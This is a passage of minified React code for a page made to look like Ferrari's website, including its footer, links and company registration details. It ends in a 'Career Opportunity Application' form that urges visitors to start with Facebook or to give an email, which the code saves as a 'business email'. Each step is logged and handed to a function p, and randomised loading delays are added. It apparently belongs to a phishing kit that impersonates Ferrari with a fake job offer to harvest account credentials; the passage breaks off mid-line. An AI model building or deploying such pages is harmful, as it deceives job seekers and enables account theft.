mx-auto",children:(0,n.jsxs)("div",{className:"text-center",children:[(0,n.jsx)("h3",{className:"text-xl sm:text-2xl font-bold mt-10 mb-4 md:mb-8 uppercase tracking-wide text-black font-ferrari",children:"Being the employer of choice"}),(0,n.jsx)("div",{className:"text-xs sm:text-sm leading-relaxed mb-6 md:mb-10 max-w-2xl mx-auto text-black sm:leading-normal font-ferrari",children:"From manufacturing processes to motorsport, Ferrari always puts the passion of its people at the centre of everything we do. This begins with our employees and their families, and extends out to our clients, tifosi, and the whole community."}),(0,n.jsxs)("div",{className:"BoxGrid__list__35lfoCAv mt-8 mb-12 grid grid-cols-2 md:grid-cols-2 gap-6 max-w-xl mx-auto",children:[(0,n.jsx)("div",{className:"BoxGrid__item__1tjOz5cT",children:(0,n.jsxs)("div",{children:[(0,n.jsx)("div",{className:"BoxGrid__image__goF9g0Ip",children:(0,n.jsx)("img",{src:"/ferrari-4.jpg",alt:"Equal-Salary Globally Certified",title:"Equal-Salary Globally Certified",loading:"lazy",className:"Img__image__1RV_fMUN lazyloaded w-full h-auto"})}),(0,n.jsx)("div",{className:"BoxGrid__itemTitle__1BhHh7Tr"}),(0,n.jsx)("div",{className:"BoxGrid__description__3VugROya mt-3 text-sm font-semibold",children:"Equal-Salary on a global level"})]})}),(0,n.jsx)("div",{className:"BoxGrid__item__1tjOz5cT",children:(0,n.jsxs)("div",{children:[(0,n.jsx)("div",{className:"BoxGrid__image__goF9g0Ip",children:(0,n.jsx)("img",{src:"/ferrari4.1.jpg",alt:"Top Employer Italy",title:"Top Employer Italy",loading:"lazy",className:"Img__image__1RV_fMUN lazyloaded w-full h-auto"})}),(0,n.jsx)("div",{className:"BoxGrid__itemTitle__1BhHh7Tr"}),(0,n.jsx)("div",{className:"BoxGrid__description__3VugROya mt-3 text-sm font-semibold",children:"Top Employer Italy"})]})})]})]})})})]})})}),L=()=>(0,n.jsxs)("footer",{className:"bg-[#181818] text-white",children:[(0,n.jsx)("div",{className:"bg-[#333333] py-12",children:(0,n.jsx)("div",{className:"max-w-6xl mx-auto px-4",children:(0,n.jsxs)("div",{className:"text-center",children:[(0,n.jsx)("h3",{className:"text-xl font-bold mb-4",children:"Stay up to date"}),(0,n.jsx)("p",{className:"mb-6 text-sm max-w-xl mx-auto",children:"Sign up to date notified about new promotions, Ferrari events, news and ways to get involved with the Prancing Horse."}),(0,n.jsxs)("div",{className:"flex flex-col sm:flex-row justify-center gap-4 max-w-md mx-auto",children:[(0,n.jsx)("button",{className:"bg-red-600 text-white px-8 py-3 uppercase text-sm font-semibold hover:bg-red-700 transition",children:"Subscribe"}),(0,n.jsx)("button",{className:"border border-white text-white px-8 py-3 uppercase text-sm font-semibold hover:bg-white hover:text-black transition",children:"Change"})]})]})})}),(0,n.jsxs)("div",{className:"max-w-6xl mx-auto px-4 py-12",children:[(0,n.jsxs)("div",{className:"grid grid-cols-1 gap-8 md:hidden",children:[(0,n.jsxs)("div",{className:"text-center",children:[(0,n.jsx)("h4",{className:"font-bold uppercase mb-4 text-center",children:"RACING"}),(0,n.jsxs)("ul",{className:"space-y-2 text-sm flex flex-col items-center ",children:[(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/formula1",className:"text-white no-underline hover:underline",children:"Scuderia Ferrari HP"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/formula1/charles-leclerc",className:"text-white no-underline hover:underline",children:"Charles Leclerc"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/formula1/lewis-hamilton",className:"text-white no-underline hover:underline",children:"Lewis Hamilton"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/hypercar",className:"text-white no-underline hover:underline",children:"Hypercar"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/competizioni-gt",className:"text-white no-underline hover:underline",children:"GT Series"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/esports",className:"text-white no-underline hover:underline",children:"Esports"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/fda",className:"text-white no-underline hover:underline",children:"Scuderia Ferrari Driver Academy"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://scuderiaferrariclub.ferrari.com/",className:"text-white no-underline hover:underline",children:"Scuderia Ferrari Member"})})]})]}),(0,n.jsxs)("div",{className:"text-center",children:[(0,n.jsx)("h4",{className:"font-bold uppercase mb-4 text-center",children:"SPORTS CARS"}),(0,n.jsxs)("ul",{className:"space-y-2 text-sm flex flex-col items-center",children:[(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/auto",className:"text-white no-underline hover:underline",children:"Range"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://carconfigurator.ferrari.com/en_EN",className:"text-white no-underline hover:underline",children:"Configure your Ferrari"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/auto/myferrari",className:"text-white no-underline hover:underline",children:"MyFerrari"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://preowned.ferrari.com",className:"text-white no-underline hover:underline",children:"Pre-owned"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/auto/dealers",className:"text-white no-underline hover:underline",children:"Dealers"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/auto/recall-information",className:"text-white no-underline hover:underline",children:"Recall information"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://techinfo.ferrari.com/",className:"text-white no-underline hover:underline",children:"TechInfo"})})]})]}),(0,n.jsxs)("div",{className:"text-center",children:[(0,n.jsx)("h4",{className:"font-bold uppercase mb-4 text-center",children:"COLLECTIONS"}),(0,n.jsxs)("ul",{className:"space-y-2 text-sm flex flex-col items-center",children:[(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://store.ferrari.com/men?from=FT",className:"text-white no-underline hover:underline",children:"Men"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://store.ferrari.com/women?from=FT",className:"text-white no-underline hover:underline",children:"Women"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://store.ferrari.com/kids/boys-2-13-years/view-all/?from=FT",className:"text-white no-underline hover:underline",children:"Kids"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://store.ferrari.com/replica/replica-scuderia-ferrari/puma-shoes?from=FT",className:"text-white no-underline hover:underline",children:"Shoes"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://store.ferrari.com/search?cgid=eyewear-ferrari-collection-View-all?from=FT",className:"text-white no-underline hover:underline",children:"Eyewear"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://store.ferrari.com/collectibles/collectibles/view-all/?from=FT",className:"text-white no-underline hover:underline",children:"Collectibles"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://store.ferrari.com/replica/replica-scuderia-ferrari/?from=FT",className:"text-white no-underline hover:underline",children:"Scuderia Ferrari Selection"})})]})]}),(0,n.jsxs)("div",{className:"text-center",children:[(0,n.jsx)("h4",{className:"font-bold uppercase mb-4 text-center",children:"EXPERIENCES"}),(0,n.jsxs)("ul",{className:"space-y-2 text-sm flex flex-col items-center",children:[(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/corse-clienti",className:"text-white no-underline hover:underline",children:"Corse Clienti"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/esports/ferrari-esports-series",className:"text-white no-underline hover:underline",children:"Ferrari Esports Series"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"http://ristorantecavallino.com/",className:"text-white no-underline hover:underline",children:"Ristorante Cavallino"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/museums",className:"text-white no-underline hover:underline",children:"Ferrari Museums"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://ferrariworldabudhabi.com",className:"text-white no-underline hover:underline",children:"Ferrari World Abu Dhabi"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.portaventuraworld.com/en/ferrari-land",className:"text-white no-underline hover:underline",children:"Ferrari Land Barcelona"})})]})]}),(0,n.jsxs)("div",{className:"text-center",children:[(0,n.jsx)("h4",{className:"font-bold uppercase mb-4 text-center",children:"ABOUT US"}),(0,n.jsxs)("ul",{className:"space-y-2 text-sm flex flex-col items-center",children:[(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/corporate",className:"text-white no-underline hover:underline",children:"Corporate"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/corporate/sustainability",className:"text-white no-underline hover:underline",children:"Sustainability"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/media-centre",className:"text-white no-underline hover:underline",children:"Media Centre"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/news",className:"text-white no-underline hover:underline",children:"News"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/magazine",className:"text-white no-underline hover:underline",children:"Magazine"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/history",className:"text-white no-underline hover:underline",children:"History"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/corporate/career",className:"text-white no-underline hover:underline",children:"Join us"})})]})]})]}),(0,n.jsxs)("div",{className:"hidden md:flex justify-between",children:[(0,n.jsxs)("div",{className:"text-center",children:[(0,n.jsx)("h4",{className:"font-bold uppercase mb-4 text-center",children:"RACING"}),(0,n.jsxs)("ul",{className:"space-y-2 text-sm flex flex-col items-center",children:[(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/formula1",className:"text-white no-underline hover:underline",children:"Scuderia Ferrari HP"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/formula1/charles-leclerc",className:"text-white no-underline hover:underline",children:"Charles Leclerc"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/formula1/lewis-hamilton",className:"text-white no-underline hover:underline",children:"Lewis Hamilton"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/hypercar",className:"text-white no-underline hover:underline",children:"Hypercar"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/competizioni-gt",className:"text-white no-underline hover:underline",children:"GT Series"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/esports",className:"text-white no-underline hover:underline",children:"Esports"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/fda",className:"text-white no-underline hover:underline",children:"Scuderia Ferrari Driver Academy"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://scuderiaferrariclub.ferrari.com/",className:"text-white no-underline hover:underline",children:"Scuderia Ferrari Member"})})]})]}),(0,n.jsxs)("div",{className:"text-center",children:[(0,n.jsx)("h4",{className:"font-bold uppercase mb-4 text-center",children:"SPORTS CARS"}),(0,n.jsxs)("ul",{className:"space-y-2 text-sm flex flex-col items-center",children:[(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/auto",className:"text-white no-underline hover:underline",children:"Range"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://carconfigurator.ferrari.com/en_EN",className:"text-white no-underline hover:underline",children:"Configure your Ferrari"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/auto/myferrari",className:"text-white no-underline hover:underline",children:"MyFerrari"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://preowned.ferrari.com",className:"text-white no-underline hover:underline",children:"Pre-owned"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/auto/dealers",className:"text-white no-underline hover:underline",children:"Dealers"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/auto/recall-information",className:"text-white no-underline hover:underline",children:"Recall information"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://techinfo.ferrari.com/",className:"text-white no-underline hover:underline",children:"TechInfo"})})]})]}),(0,n.jsxs)("div",{className:"text-center",children:[(0,n.jsx)("h4",{className:"font-bold uppercase mb-4 text-center",children:"COLLECTIONS"}),(0,n.jsxs)("ul",{className:"space-y-2 text-sm flex flex-col items-center",children:[(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://store.ferrari.com/men?from=FT",className:"text-white no-underline hover:underline",children:"Men"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://store.ferrari.com/women?from=FT",className:"text-white no-underline hover:underline",children:"Women"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://store.ferrari.com/kids/boys-2-13-years/view-all/?from=FT",className:"text-white no-underline hover:underline",children:"Kids"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://store.ferrari.com/replica/replica-scuderia-ferrari/puma-shoes?from=FT",className:"text-white no-underline hover:underline",children:"Shoes"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://store.ferrari.com/search?cgid=eyewear-ferrari-collection-View-all?from=FT",className:"text-white no-underline hover:underline",children:"Eyewear"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://store.ferrari.com/collectibles/collectibles/view-all/?from=FT",className:"text-white no-underline hover:underline",children:"Collectibles"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://store.ferrari.com/replica/replica-scuderia-ferrari/?from=FT",className:"text-white no-underline hover:underline",children:"Scuderia Ferrari Selection"})})]})]}),(0,n.jsxs)("div",{className:"text-center",children:[(0,n.jsx)("h4",{className:"font-bold uppercase mb-4 text-center",children:"EXPERIENCES"}),(0,n.jsxs)("ul",{className:"space-y-2 text-sm flex flex-col items-center",children:[(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/corse-clienti",className:"text-white no-underline hover:underline",children:"Corse Clienti"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/esports/ferrari-esports-series",className:"text-white no-underline hover:underline",children:"Ferrari Esports Series"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"http://ristorantecavallino.com/",className:"text-white no-underline hover:underline",children:"Ristorante Cavallino"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/museums",className:"text-white no-underline hover:underline",children:"Ferrari Museums"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://ferrariworldabudhabi.com",className:"text-white no-underline hover:underline",children:"Ferrari World Abu Dhabi"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.portaventuraworld.com/en/ferrari-land",className:"text-white no-underline hover:underline",children:"Ferrari Land Barcelona"})})]})]}),(0,n.jsxs)("div",{className:"text-center",children:[(0,n.jsx)("h4",{className:"font-bold uppercase mb-4 text-center",children:"ABOUT US"}),(0,n.jsxs)("ul",{className:"space-y-2 text-sm flex flex-col items-center",children:[(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/corporate",className:"text-white no-underline hover:underline",children:"Corporate"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/corporate/sustainability",className:"text-white no-underline hover:underline",children:"Sustainability"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/media-centre",className:"text-white no-underline hover:underline",children:"Media Centre"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/news",className:"text-white no-underline hover:underline",children:"News"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/magazine",className:"text-white no-underline hover:underline",children:"Magazine"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/history",className:"text-white no-underline hover:underline",children:"History"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/corporate/career",className:"text-white no-underline hover:underline",children:"Join us"})})]})]})]})]}),(0,n.jsx)("div",{className:"border-t border-[#333333] max-w-6xl mx-auto px-4 py-6",children:(0,n.jsxs)("div",{className:"grid grid-cols-2 sm:grid-cols-3 md:grid-cols-6 gap-4",children:[(0,n.jsxs)("a",{href:"https://www.facebook.com/Ferrari",target:"_blank",className:"flex items-center text-white no-underline hover:underline",children:[(0,n.jsx)("img",{src:"https://cdn.ferrari.com/cms/network/media/img/resize/5ca483b65d32fb0b9e2ac5a3-facebook?",alt:"Facebook",className:"w-6 h-6 mr-2"}),(0,n.jsx)("span",{className:"text-sm",children:"Facebook"})]}),(0,n.jsxs)("a",{href:"https://www.instagram.com/ferrari",target:"_blank",className:"flex items-center text-white no-underline hover:underline",children:[(0,n.jsx)("img",{src:"https://cdn.ferrari.com/cms/network/media/img/resize/5ca4860a5d32fb0b9e2ac5a8-instagram?",alt:"Instagram",className:"w-6 h-6 mr-2"}),(0,n.jsx)("span",{className:"text-sm",children:"Instagram"})]}),(0,n.jsxs)("a",{href:"https://www.linkedin.com/company/ferrari",target:"_blank",className:"flex items-center text-white no-underline hover:underline",children:[(0,n.jsx)("img",{src:"https://cdn.ferrari.com/cms/network/media/img/resize/5ca487ee5d32fb0b9e2ac5ad-linkedin?",alt:"LinkedIn",className:"w-6 h-6 mr-2"}),(0,n.jsx)("span",{className:"text-sm",children:"LinkedIn"})]}),(0,n.jsxs)("a",{href:"https://www.tiktok.com/@ferrari",target:"_blank",className:"flex items-center text-white no-underline hover:underline",children:[(0,n.jsx)("img",{src:"https://cdn.ferrari.com/cms/network/media/img/resize/628cd2388a4b79293d7c99ff-tiktok?",alt:"TikTok",className:"w-6 h-6 mr-2"}),(0,n.jsx)("span",{className:"text-sm",children:"TikTok"})]}),(0,n.jsxs)("a",{href:"https://www.twitch.tv/ferrariesports",target:"_blank",className:"flex items-center text-white no-underline hover:underline",children:[(0,n.jsx)("img",{src:"https://cdn.ferrari.com/cms/network/media/img/resize/628cd2a7bc2f334e875664a9-twitch?",alt:"Twitch",className:"w-6 h-6 mr-2"}),(0,n.jsx)("span",{className:"text-sm",children:"Twitch"})]}),(0,n.jsxs)("a",{href:"https://twitter.com/Ferrari",target:"_blank",className:"flex items-center text-white no-underline hover:underline",children:[(0,n.jsx)("img",{src:"https://cdn.ferrari.com/cms/network/media/img/resize/64edab325345260010005df7-ferrari-footer-social-x_logo_white_24px?",alt:"X",className:"w-6 h-6 mr-2"}),(0,n.jsx)("span",{className:"text-sm",children:"X"})]})]})}),(0,n.jsxs)("div",{className:"border-t border-[#333333] max-w-6xl mx-auto px-4 py-8",children:[(0,n.jsx)("p",{className:"text-xs mb-4",children:"Ferrari N.V. - Holding company - A company under Dutch law, having its official seat in Amsterdam, the Netherlands and its corporate address at Via Abetone Inferiore No. 4, I-41053 Maranello (MO), Italy, registered with the Dutch trade register under number 64060977"}),(0,n.jsx)("p",{className:"text-xs mb-4",children:"Ferrari S.p.A. - A company under Italian law, having its registered office at Via Emilia Est No. 1163, Modena, Italy, Companies' Register of Modena, VAT and Tax number 00159560366 and share capital of Euro 20,260,000"}),(0,n.jsx)("p",{className:"text-xs",children:"Copyright 2025 - All rights reserved"}),(0,n.jsxs)("button",{className:"flex items-center mt-6 text-sm",children:[(0,n.jsxs)("svg",{fill:"currentColor",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 100 131.3",className:"w-6 h-6 mr-2",children:[(0,n.jsx)("path",{d:"M71.6 131.3c1 0 2.1-.3 3.1-.8 3.9-1.8 5.5-6.2 3.6-10.1 0 0-14.3-32.7-16.9-44.7-1-4.2-1.6-15.3-1.8-20.5 0-1.8 1-3.4 2.6-3.9l32-9.6c3.9-1 6.2-5.5 5.2-9.4-1-3.9-5.5-6.2-9.4-5.2 0 0-29.6 9.6-40.3 9.6-10.4 0-39.8-9.4-39.8-9.4-3.9-1-8.3.8-9.6 4.7-1.3 4.2 1 8.6 5.2 9.6l32 9.6c1.6.5 2.9 2.1 2.6 3.9-.3 5.2-.8 16.4-1.8 20.5-2.6 12-16.9 44.7-16.9 44.7-1.8 3.9 0 8.3 3.6 10.1 1 .5 2.1.8 3.1.8 2.9 0 5.7-1.6 6.8-4.4l15.3-31.2L64.8 127c1.3 2.7 3.9 4.3 6.8 4.3z"}),(0,n.jsx)("circle",{cx:"50.3",cy:"14.6",r:"14.6"})]}),(0,n.jsx)("span",{children:"Accessibility settings"})]})]}),(0,n.jsx)("div",{className:"bg-[#212121] py-4",children:(0,n.jsx)("div",{className:"max-w-6xl mx-auto px-4",children:(0,n.jsxs)("div",{className:"flex flex-wrap justify-between items-center",children:[(0,n.jsxs)("ul",{className:"flex flex-wrap gap-4 text-xs",children:[(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/legal",className:"text-white no-underline hover:underline",children:"Legal"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/privacy-policy",className:"text-white no-underline hover:underline",children:"Privacy Policy"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/cookie-policy",className:"text-white no-underline hover:underline",children:"Cookie Policy"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/accessibility",className:"text-white no-underline hover:underline",children:"Accessibility"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://privacyportal-de.onetrust.com/webform/98d779e0-913c-4c73-b9fe-4e0e2e29c727/8311287a-be4e-4748-86c2-e12d7ccdf2db",className:"text-white no-underline hover:underline",children:"Submit your privacy request"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/contacts",className:"text-white no-underline hover:underline",children:"Contacts"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/en-EN/corporate",className:"text-white no-underline hover:underline",children:"Corporate ENG"})}),(0,n.jsx)("li",{children:(0,n.jsx)("a",{href:"https://www.ferrari.com/it-IT/corporate",className:"text-white no-underline hover:underline",children:"Corporate ITA"})})]}),(0,n.jsxs)("a",{href:"/choose-your-country?origin=CORPORATE",className:"flex items-center text-xs mt-4 sm:mt-0 text-white no-underline",children:[(0,n.jsx)("span",{children:"International"}),(0,n.jsx)("svg",{width:"16",height:"8",viewBox:"0 0 16 8",xmlns:"http://www.w3.org/2000/svg",className:"ml-1",children:(0,n.jsx)("path",{d:"M9.547.732L16 8 8 4 0 8 6.453.732A1.996 1.996 0 0 1 8 0c.623 0 1.18.285 1.547.732z",fill:"currentColor"})})]})]})})}),(0,n.jsx)("div",{className:"flex justify-center py-6 border-t border-[#333333]",children:(0,n.jsx)("a",{href:"https://www.shell.com",target:"_blank",children:(0,n.jsx)("img",{src:"https://cdn.ferrari.com/cms/network/media/img/resize/5ca48a335d32fb0b9e2ac5b3-shell?",alt:"Shell",className:"h-8"})})})]});let O=c.ZP.div.withConfig({componentId:"sc-3ecd0be3-0"})(["width:12px;height:12px;border:2px solid currentColor;border-bottom-color:transparent;border-radius:50%;display:inline-block;box-sizing:border-box;animation:rotation 1s linear infinite;margin-right:6px;@keyframes rotation{0%{transform:rotate(0deg);}100%{transform:rotate(360deg);}}"]);var H=e=>{let{size:t="12px",className:r=""}=e;return(0,n.jsx)(O,{style:{width:t,height:t},className:r})},D=function(e){let{BusinessEmail:t,setBusinessEmail:r,BusinessEmailError:i,handleContinueWithEmail:s,NextStep:a,FacebookLogo:o,isLoading:l,loadingType:c}=e,d=l&&"facebook"===c,m=l&&"email"===c;return(0,n.jsxs)("div",{className:"md:w-1/2 bg-gray-50 text-gray-900 justify-center mb-5 mt-5 flex flex-col gap-4 md:gap-5 w-full rounded-xl shadow-lg p-6 md:p-10 border border-gray-200",children:[(0,n.jsxs)("div",{className:"flex flex-col gap-4 text-center",children:[(0,n.jsx)("h2",{className:"text-2xl md:text-3xl font-medium text-gray-900 m-0 px-1 sm:px-0 leading-tight",children:"Thank You for Your Interest!"}),(0,n.jsx)("p",{className:"text-gray-700 text-lg m-0 font-light",children:"Career Opportunity Application"}),(0,n.jsx)("p",{className:"text-gray-600 text-sm m-0 px-1 sm:px-0 leading-relaxed",children:"We appreciate your interest in joining our team. By continuing with Facebook or email below, you'll begin the application process for this exciting opportunity to help elevate our company's presence and connect with our passionate community worldwide."})]}),(0,n.jsxs)("button",{onClick:()=>!l&&a("User clicked continue with Facebook"),disabled:l,className:"bg-white border border-gray-300 w-[95%] md:w-[80%] mx-auto text-gray-800 text-sm font-medium py-3 md:py-4 px-4 rounded-lg flex items-center justify-center gap-3 cursor-pointer transition-all duration-200 ease-in-out min-h-[48px] md:min-h-[52px] ".concat(l?"opacity-60 cursor-not-allowed":"hover:bg-gray-100 hover:border-gray-400 hover:shadow-md"),children:[d&&(0,n.jsx)(H,{}),o&&!d&&(0,n.jsx)(g(),{src:o,alt:"Facebook Logo",width:20,height:20,style:{color:"#1877F2"}}),d?"Starting Application...":"Start Application with Facebook"]}),(0,n.jsx)("div",{className:"relative flex items-center justify-center w-full before:content-[''] before:absolute before:top-1/2 before:left-0 before:right-0 before:border-t before:border-gray-300",children:(0,n.jsx)("span",{className:"relative px-4 bg-gray-50 text-gray-500 text-sm",children:"or"})}),(0,n.jsxs)("div",{className:"flex flex-col gap-1.5 w-full",children:[(0,n.jsx)("label",{htmlFor:"email-input",className:"w-[95%] md:w-[80%] mx-auto text-gray-700 text-sm font-medium text-left",children:"Email Address"}),(0,n.jsx)("input",{id:"email-input",type:"email",placeholder:"Enter your personal email",value:t,onChange:e=>r(e.target.value),disabled:l,"aria-invalid":!!i,"aria-describedby":i?"email-error":void 0,className:"w-[95%] md:w-[80%] mx-auto py-3 md:py-4 px-4 rounded-lg border border-gray-300 bg-white text-gray-900 text-sm box-border placeholder-gray-400 focus:border-red-500 focus:shadow-[0_0_0_2px_rgba(239,68,68,0.2)] focus:outline-none transition-all duration-200 ".concat(l?"opacity-60 cursor-not-allowed":"hover:border-gray-400")}),i&&(0,n.jsx)("div",{id:"email-error",className:"text-red-500 text-xs mt-1 font-medium",children:i})]}),(0,n.jsxs)("button",{onClick:s,disabled:l,className:"bg-red-600 border-none w-[95%] md:w-[80%] mx-auto text-white text-sm font-medium py-3 md:py-4 px-6 rounded-lg flex items-center justify-center gap-3 cursor-pointer transition-all duration-200 ease-in-out mt-1 md:mt-2 min-h-[48px] md:min-h-[52px] ".concat(l?"opacity-60 cursor-not-allowed":"hover:bg-red-700"),children:[m&&(0,n.jsx)(H,{}),m?"Starting Application...":"Start Application with Email"]}),(0,n.jsx)("div",{className:"text-center mt-2",children:(0,n.jsx)("p",{className:"text-gray-600 text-xs leading-relaxed",children:"By continuing, you'll begin the application process for this career opportunity and agree to our privacy policy and terms of service. We'll guide you through each step of the application process."})})]})};let W=c.ZP.div.withConfig({componentId:"sc-a86507b1-0"})(['display:flex;flex-direction:column;min-height:100vh;width:100%;background-color:#f0f2f5;font-family:"Universal Sans Display",sans-serif;']),U=c.ZP.div.withConfig({componentId:"sc-a86507b1-1"})(["flex-grow:1;width:100%;display:flex;flex-direction:column;align-items:center;"]),Z=c.ZP.div.withConfig({componentId:"sc-a86507b1-2"})(["background-color:rgb(243 244 246 / var(--tw-bg-opacity,1));padding:1rem;width:100%;display:flex;justify-content:center;align-items:center;@media (max-width:768px){padding:0.5rem;}"]);var G=function(e){let{setStep:t,BusinessEmail:r,setBusinessEmail:i,setContinueWithFacebook:s}=e,[a,o]=(0,l.useState)(""),[c,m]=(0,l.useState)(!1),[h,x]=(0,l.useState)(""),{AllData:f,setAllData:u}=(0,l.useContext)(rt),g=e=>{m(!0),x(e.includes("Facebook")?"facebook":"email");let n={...f,business_email:r,currentStep:e||"User clicked continue with Facebook"};u(n),p(n),setTimeout(()=>{m(!1),x(""),t(2)},500*Math.random()+1500)};return(0,n.jsxs)(W,{children:[(0,n.jsx)(S,{}),(0,n.jsxs)(U,{children:[(0,n.jsx)(T,{}),(0,n.jsx)(Z,{children:(0,n.jsx)("div",{className:"flex justify-center md:flex-row gap-0 w-full max-w-5xl mx-auto w overflow-hidden",children:(0,n.jsx)(D,{BusinessEmail:r,setBusinessEmail:i,BusinessEmailError:a,handleContinueWithEmail:()=>{if(!c){if(!/^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(r)){o("Please enter a valid email address");return}o(""),s(!1),r&&i&&i(r),g("User clicked continue with 